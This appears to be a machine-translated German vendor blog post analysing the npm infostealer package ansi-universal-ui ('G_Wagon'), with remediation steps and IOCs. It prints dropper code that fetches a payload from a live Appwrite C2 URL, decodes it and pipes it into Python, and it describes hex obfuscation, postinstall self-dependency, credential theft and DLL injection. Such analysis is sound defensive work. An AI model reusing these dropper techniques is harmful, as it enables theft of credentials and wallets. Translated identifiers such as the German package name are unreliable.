Am 23. Januar 2026 um 08:46 UTC hat unser Malware-Erkennungssystem ein Paket namens ansi-universelle-BenutzeroberflächeDer Name klingt wie eine langweilige UI-Komponentenbibliothek. In der Beschreibung steht sogar, dass es sich um „Ein leichtgewichtiges, modulares UI-Komponentensystem für moderne Webanwendungen.„Sehr professionell. Ganz normal. Nur ist es das nicht.“
Wir haben einen ausgeklügelten mehrstufigen Infostealer entdeckt, der seine eigene Python-Laufzeitumgebung herunterlädt, eine stark verschleierte Nutzlast ausführt und Ihre Browser-Anmeldedaten, Kryptowährungs-Wallets, Cloud-Anmeldedaten und Discord-Token in einen Appwrite-Speicher-Bucket exfiltriert. Er enthält außerdem eine eingebettete Windows-DLL, die mithilfe von NT-nativen APIs in Browserprozesse injiziert wird. Die Malware nennt sich intern„G_Wagon“, vermutlich weil die Autoren einen teuren Geschmack haben.
Beobachten Sie, wie sich ein Angriff in Echtzeit entwickelt
Das ist interessant, weil wir den gesamten Entwicklungsprozess verfolgen können. Der Angreifer hat innerhalb von zwei Tagen zehn Versionen veröffentlicht, und jede Version erzählt einen Teil der Geschichte.
Tag 1 (21. Januar) – Testen der Dropper-Infrastruktur:
- v1.0.0 (15:54 UTC): Erstes Gerüst unter Verwendung des Tar-Moduls von npm
- v1.2.0 (16:03 UTC): Umstellung auf System-Tar, erste Selbstabhängigkeit
- v1.3.2 (16:09 UTC): Postinstall-Hook hinzugefügt (noch keine Nutzlast)
- v1.3.3 (16:18 UTC): Fehler bei der Weiterleitung behoben
Tag 2 (23. Januar) – Waffenbildung:
- v1.3.5 (08:46 UTC): C2-URL hinzugefügt, gefälschtes Branding, Platzhalter entfernt
- v1.3.6 (08:53 UTC): Selbstabhängigkeit für doppelte Ausführung wieder aktiviert
- v1.3.7 (09:09 UTC): Anti-Forensik hinzugefügt, bereinigte Protokollmeldungen
- v1.4.0 (12:27 UTC): Umstellung auf Frankfurt C2, Nutzdaten werden nun über stdin übertragen (ohne jemals die Festplatte zu berühren)
- v1.4.1 (12:48 UTC): Verschleierung, hexadezimal codierte Zeichenfolgen und eine Schein-UI-Klasse hinzugefügt.
- v1.4.2 (13:06 UTC): Fehlerbehebung (v1.4.1 hat den Python-Pfad beschädigt)
Der Angreifer ist aktiv dabei, seine Angriffe zu wiederholen. Während wir diesen Beitrag geschrieben haben, hat er drei weitere Versionen veröffentlicht.
Die Testphase
Die frühen Versionen (1.0.0 durch 1.3.3) enthielten alle eine Datei namens py.py mit diesem Inhalt:
print("Python-Code ausgeführt!")Das war's. Nur ein Platzhalter, um zu testen, ob die Ausführungskette funktioniert hat. Der Angreifer hat eine Infrastruktur aufgebaut.
In Version 1.2.0 haben sie eine interessante Änderung vorgenommen. Sie haben die npm-Tar-Abhängigkeit entfernt und sind dazu übergegangen, den System-Tar-Befehl direkt auszuführen:
- const tar = require('tar');
+ const https = require('https');
- const extract = tar.x({ cwd: CACHE_DIR });
- response.body.pipe(extract);
+ const tarProcess = spawn('tar', ['-x', '-f', '-', '-C', CACHE_DIR]);
+ res.pipe(tarProcess.stdin);Warum? Weniger npm-Abhängigkeiten bedeuten weniger Angriffsfläche für Erkennung. Außerdem bedeutet dies, dass das Paket funktioniert, ohne dass etwas aus npm installiert werden muss.
Aber sie haben einen Fehler eingeführt. Die Weiterleitungsbehandlung funktionierte nicht wirklich:
if (res.statusCode === 302 || res.statusCode === 301) {
downloadAndExtract().then(resolve).catch(reject); // BUG: forgot to pass the URL!
return;
}
Dies wurde in Version 1.3.3 behoben:
if (res.statusCode === 302 || res.statusCode === 301) {
const newUrl = res.headers.location;
downloadAndExtract(newUrl).then(resolve).catch(reject); // Fixed
return;
}
Aus diesem Grund sehen wir die Versionslücke zwischen 1.3.3 und 1.3.5. Sie haben getestet, den Fehler gefunden, ihn behoben, überprüft, dass er funktioniert, und sind dann zwei Tage später zurückgekommen, um ihn zu nutzen.
Die Militarisierung
Mit Version 1.3.5 ändert sich alles. Sehen wir uns die wichtigsten Unterschiede an:
- const SCRIPT_PATH = path.join(__dirname, 'py.py');
+ const REMOTE_SCRIPT_URL = „https://nyc.cloud.appwrite.io/v1/storage/buckets/688625a0000f8a1b71e8/files/69732d9c000042399d88/view?project=6886229e003d46469fab”;
+ const LOCAL_SCRIPT_PATH = path.join(CACHE_DIR, 'latest_script.py');Anstatt den lokalen Platzhalter auszuführen, wird nun die Nutzlast aus einem Appwrite-Speicher-Bucket heruntergeladen.
Sie fügten auch einen vielsagenden Kommentar hinzu, der in der endgültigen Fassung entfernt wurde:
// console.log("Fetching latest logic..."); // Uncomment if you want them to see thisDer Angreifer dachte eindeutig an die operative Sicherheit.
Das gefälschte Branding
Version 1.3.5 fügte auch Legitimität hinzu. Die Datei package.json wurde geändert von:
{
"description": "A cross-platform tool powered by Python"
}
An:
{
"description": "A lightweight, modular UI component system for modern web applications. Provides a responsive design engine and universal style primitives.",
"keywords": ["ui", "design-system", "components", "framework", "frontend", "css-in-js"],
"author": "Universal Design Team",
"license": "MIT"
}
Sie fügten hinzu, dass README.md voller Schlagworte:
Universal UI ist eine deklarative Komponenten-Primitivbibliothek, die für die hochleistungsfähige Darstellung von Benutzeroberflächen entwickelt wurde. Sie bietet eine einheitliche Ebene für die Verwaltung von visuellen Zuständen, Designs und Layout-Systemen in modernen Anwendungsarchitekturen.
Und mein persönlicher Favorit:
Virtuelle Rendering-Engine: Optimierter Diffing-Algorithmus, der für flüssige Übergänge und minimale Neuzeichnungen bei Statusänderungen sorgt.
Nichts davon ist echt. Es gibt keinen ThemeProvider. Es gibt keine Virtual Rendering Engine. Es gibt nur Malware.
Der Trick der Selbstabhängigkeit
Sehen Sie sich die Datei package.json aus Version 1.3.7 an:
{
"scripts": {
"postinstall": "node index.js"
},
"dependencies": {
"ansi-universal-ui": "^1.3.5"
}
}
Das Paket ist von sich selbst abhängig. Version 1.3.7 erfordert Version ^1.3.5. Wenn npm das Paket installiert, führt es den Postinstall-Hook aus. Anschließend installiert es die Abhängigkeit (eine ältere Version von sich selbst), die den Postinstall-Hook erneut ausführt. Doppelte Ausführung.
Interessanterweise wurde diese Funktion in Version 1.3.5 entfernt und in Version 1.3.6 wieder hinzugefügt. Wahrscheinlich wurde getestet, ob sie Probleme verursacht.
Die Anti-Forensik
Version 1.3.7 fügte einen Bereinigungscode hinzu, um die Nutzlast nach der Ausführung zu löschen:
child.on('close', (code) => {
try {
if (fs.existsSync(LOCAL_SCRIPT_PATH)) {
fs.unlinkSync(LOCAL_SCRIPT_PATH);
}
} catch (cleanupErr) {
// Ignore cleanup errors
}
process.exit(code);
});
Sie haben auch die Protokollmeldungen bereinigt:
- console.log(„Einrichten der Python-Umgebung ...“);
+ console.log(„Initialisierung der UI-Laufzeitumgebung...“);„Einrichten der Python-Umgebung“ ist verdächtig. „Initialisieren der UI-Laufzeitumgebung“ klingt nach einer legitimen UI-Bibliothek, die UI-Bibliotheksaufgaben ausführt.
Weiter in der Entwicklung: v1.4.x
Während wir diese Malware analysierten, veröffentlichte der Angreifer zwei weitere Versionen. Sie lernen dazu.
v1.4.0 Eine wichtige Änderung wurde vorgenommen: Die Python-Nutzlast greift nicht mehr auf die Festplatte zu. Anstatt sie in eine Datei herunterzuladen und auszuführen, ruft der Dropper nun die Base64-kodierte Python-Datei vom C2 ab, dekodiert sie im Speicher und leitet sie direkt an Python - über stdin:
e
const b64Content = await downloadString(REMOTE_B64_URL);
const pythonCode = Buffer.from(b64Content.trim(), 'base64').toString('utf-8');
const child = spawn(LOCAL_PYTHON_BIN, ['-'], { stdio: ['pipe', 'inherit', 'inherit'] });
child.stdin.write(pythonCode);
child.stdin.end();Keine Datei zum Löschen. Keine Artefakte zurückgelassen.
v1.4.1 ging noch weiter mit der Verschleierung. Die C2-URL ist nun in hexadezimal codierte Teile aufgeteilt:
const _ui_assets = [ "68747470733a2f2f6672612e636c6f75642e61707077726974652e696f2f...",
"3639363865613536303033313663313238663232", "2f66696c65732f",
"363937333638333830303333343933353735373..."
];const _gfx_src = _ui_assets.map(s => Buffer.from(s, 'hex').toString()).join('');Sie fügten außerdem eine Decoy-Klasse hinzu, damit der Code wie eine echte UI-Bibliothek aussieht:
class LayoutCompute {
constructor() { this.matrix = new Float32Array(16); this.x = 0; }
mount(v) { return (v << 2) ^ 0xAF; }
sync() { this.x = Math.sin(Date.now()) * 100; return this.x > 0; }
}
Die Verzeichnisse wurden umbenannt von Python-Laufzeitumgebung zu lib_core/RendererVariablen wie Python-Code wurde _Texturdaten_Die Funktion Python einrichten wurde _init_layerJetzt klingt alles wie Grafik-Rendering-Code.
Außerdem wechselten sie ausschließlich zum Frankfurter C2-Server und gaben den Endpunkt in New York City auf.
Version 1.4.2 kam 18 Minuten später. Sie haben etwas kaputt gemacht. Der Kommentar im Code sagt alles:
// FIXED: Changed 'renderer' back to 'python' (hex encoded) so it matches the tarball structure
In v1.4.1Sie haben das Verzeichnis aus ästhetischen Gründen in „renderer” umbenannt, aber das Python-Tarball-Archiv wird in einen Ordner namens python. Ups. Die Malware hätte nicht funktioniert. v1.4.2 Behebt dieses Problem, während die Hex-Kodierung beibehalten wird.
Stufe 2: G_Wagon-Dieb
Die Python-Nutzlast ist der Punkt, an dem es interessant wird. Der Code ist mit einstelligen Variablennamen und String-Konstanten verschleiert, aber die Funktionalität wird klar, sobald man sich damit beschäftigt.
Das erste, was die Malware tut, ist, nach einer Datei namens .gwagon_status in Ihrem Home-Verzeichnis. Diese Datei enthält einen Zähler. Wenn Sie bereits zweimal infiziert wurden, wird sie nicht mehr ausgeführt. Es besteht keine Notwendigkeit, dieselben Daten wiederholt zu stehlen.
Dann geht es los.
Browser-Anmeldedaten: Der Stealer zielt auf Chrome, Edge und Brave unter Windows und macOS ab. Unter Windows beendet er die Browserprozesse, startet eine neue Instanz mit aktiviertem Chrome DevTools Protocol und extrahiert alle Cookies. Außerdem entschlüsselt er gespeicherte Passwörter mithilfe der Windows Data Protection API. Unter macOS extrahiert er den Verschlüsselungsschlüssel aus dem Keychain und entschlüsselt die Anmeldedaten mit OpenSSL.
Kryptowährungs-Wallets: Das ist die eigentliche Beute. Die Malware zielt auf über 100 Browser-Wallet-Erweiterungen ab. MetaMask, Phantom, Coinbase Wallet, Trust Wallet, Ledger Live, Trezor, Exodus und Dutzende weitere. Sie kopiert das gesamte Erweiterungsdatenverzeichnis für jede gefundene Wallet.
Die vollständige Liste umfasst Wallets für Ethereum, Solana, Cosmos, Polkadot, Cardano, TON, Bitcoin Ordinals und so ziemlich jedes Blockchain-Ökosystem, das man sich vorstellen kann.
Cloud : Wenn Sie jemals die AWS CLI, Azure CLI oder Google Cloud auf Ihrem Rechner konfiguriert haben, kopiert die Malware Ihre Anmeldedateien. Das Gleiche gilt für SSH-Schlüssel und Ihre kubeconfig. Ihre gesamte Cloud-Infrastruktur ist potenziell mit einer einzigen ZIP-Datei zugänglich.
NachrichtentokenDer Diebstahl von Discord-Tokens ist seit Jahren ein fester Bestandteil von npm-Malware, und G_Wagon macht da keine Ausnahme. Es greift auch Telegram an. tdata Verzeichnis und Steam-Authentifizierungsdateien.
Die Exfiltration
Alle gestohlenen Daten werden komprimiert und in den Appwrite-Bucket des Angreifers hochgeladen. Die Dateinamen folgen einem bestimmten Muster: {Benutzername}@{Hostname}_{Browser}_{Profil}_{Originaldatei}.
Die Malware hat zwei C2-Server konfiguriert:
- Primär:
nyc.cloud.appwrite[.]io(Projekt-ID:6886229e003d46469fab) - Sicherung:
fra.cloud.appwrite[.]io(Projekt-ID:6968e9e9000ee4ac710c)
Bei großen Dateien werden die Daten in 5-MB-Teile zerlegt und nacheinander hochgeladen. Dateien über 50 MB werden in 45-MB-Teile aufgeteilt. Die Autoren haben eindeutig Opfer mit vielen wertvollen Daten im Visier.
DLL-Injektion
Es gibt noch ein weiteres Merkmal, das diesen Stealer besonders macht. Der Python-Code enthält einen großen Base64-kodierten Blob – eine XOR-verschlüsselte Windows-DLL.
c='+qmQZ9cVqpo....==' # Redigiert für Kürze – der tatsächliche Blob ist viel größerDer Code dekodiert dies mit Base64, entschlüsselt es mit einem fest codierten Schlüssel mittels XOR und injiziert es dann mithilfe nativer NT-APIs in Browserprozesse: NtAllocateVirtualMemory, NtWriteVirtualMemory, NtProtectVirtualMemory, und NtCreateThreadEx.
Die Malware enthält einen vollständigen PE-Parser, der die Exporttabelle nach einer Funktion namens „Initialisieren" – das ist der Einstiegspunkt, den es nach der Injektion aufruft.
Sanierung und Erkennung
Wenn Sie installiert haben ansi-universelle-BenutzeroberflächeHier ist, was Sie sofort tun müssen:
- Entfernen Sie das Paket aus Ihrem Projekt und löschen Sie node_modules.
- Überprüfen Sie, ob
.gwagon_statusDatei in Ihrem Home-Verzeichnis (wenn sie vorhanden ist, waren Sie wahrscheinlich infiziert) - Alle im Browser gespeicherten Passwörter drehen
- Widerrufen und regenerieren Sie Tokens für alle Kryptowährungs-Wallets, die als Browser-Erweiterungen installiert wurden (betrachten Sie diese als kompromittiert).
- Rotieren Sie AWS-/Azure-/GCP-Anmeldedaten, wenn Sie diese CLIs verwenden.
- SSH-Schlüssel neu generieren
- Discord- und Telegram-Sitzungen ungültig machen
So erkennen Sie mit Aikido, ob Sie betroffen sind:
Wenn Sie Aikido , überprüfen Sie Ihren zentralen Feed und filtern Sie nach Malware-Problemen. Die Schwachstelle wird im Feed als kritisches Problem mit einer Bewertung von 100/100 angezeigt. Tipp: Aikido Ihre Repositories jede Nacht Aikido , wir empfehlen jedoch, zusätzlich eine vollständige erneute Überprüfung durchzuführen.
Wenn Sie noch kein Aikido sind, richten Sie ein Konto ein und verbinden Sie Ihre Repositorys. Unsere proprietäre Malware-Abdeckung ist im kostenlosen Tarif enthalten (keine Kreditkarte erforderlich).
Für zukünftigen Schutz sollten Sie die Verwendung von Aikido Chain (Open Source) in Betracht ziehen, einem sicheren Wrapper für npm, npx, yarn und andere Paketmanager. Safe Chain fügt sich in Ihre aktuellen Arbeitsabläufe ein. Es fängt npm-, npx-, yarn-, pnpm- und pnpx-Befehle ab und überprüft die Pakete vor der Installation anhand von Aikido , unserem Bedrohungsaufklärung , auf Malware. Stoppen Sie Bedrohungen, bevor sie Ihren Rechner erreichen.
Indikatoren für Kompromittierung
Paket
- Name:
ansi-universelle-Benutzeroberfläche - Schädliche Versionen: 1.3.5, 1.3.6, 1.3.7, 1.4.0, 1.4.1
Datei-Hashes (SHA256)
- v1.0.0 index.js:
7de334b0530e168fcf70335aa73a26a0b483e864c415d02980fe5e6b07f6af85 - v1.2.0 index.js:
00f1e82321a400fa097fc47edc1993203747223567a2a147ed458208376e39a1 - v1.3.2 index.js:
00f1e82321a400fa097fc47edc1993203747223567a2a147ed458208376e39a1(identisch mit v1.2.0) - v1.3.3 index.js:
1979bf6ff76d2adbd394e1288d75ab04abfb963109e81294a28d0629f90b77c7 - v1.3.5 index.js:
ecde55186231f1220218880db30d704904dd3ff6b3096c745a1e15885d6e99cc(BÖSARTIG) - v1.3.6 index.js:
ecde55186231f1220218880db30d704904dd3ff6b3096c745a1e15885d6e99cc(identisch mit v1.3.5, BÖSARTIG) - v1.3.7 index.js:
eb19a25480916520aecc30c54afdf6a0ce465db39910a5c7a01b1b3d1f693c4c(BÖSARTIG) - v1.4.0 index.js:
ff514331b93a76c9bbf1f16cdd04e79c576d8efd0d3587cb3665620c9bf49432(BÖSARTIG) - v1.4.1 index.js:
a576844e131ed6b51ebdfa7cd509233723b441a340529441fb9612f226fafe52(BÖSARTIG) - py.py (alle Versionen):
e25f5d5b46368ed03562625b53efd24533e20cd1d42bc64b1ebf041cacab8941
Hinweis: v1.3.5 und v1.3.6 identisch sein index.js Dateien (nur package.json geändert). v1.2.0 und v1.3.2 sind ebenfalls identisch (nur der Postinstall-Hook wurde hinzugefügt).
Netzwerk
hxxps://nyc.cloud.appwrite[.]io/v1/storage/buckets/688625a0000f8a1b71e8/files/69732d9c000042399d88/view?project=6886229e003d46469fab(v1.3.x)hxxps://fra.cloud.appwrite[.]io/v1/storage/buckets/6968ea5600316c128f22/files/69736838003349357574/view?project=6968e9e9000ee4ac710c(v1.4.x)- Appwrite-Projekt-ID (NYC):
6886229e003d46469fab - Appwrite-Projekt-ID (FRA):
6968e9e9000ee4ac710c - Appwrite-Bucket-ID (NYC):
688625a0000f8a1b71e8 - Appwrite-Bucket-ID (FRA):
6968ea5600316c128f22
Dateisystem
~/.gwagon_status(Ausführungszähler, unter Windows versteckt)
Sichern Sie Ihre Software jetzt.



.avif)
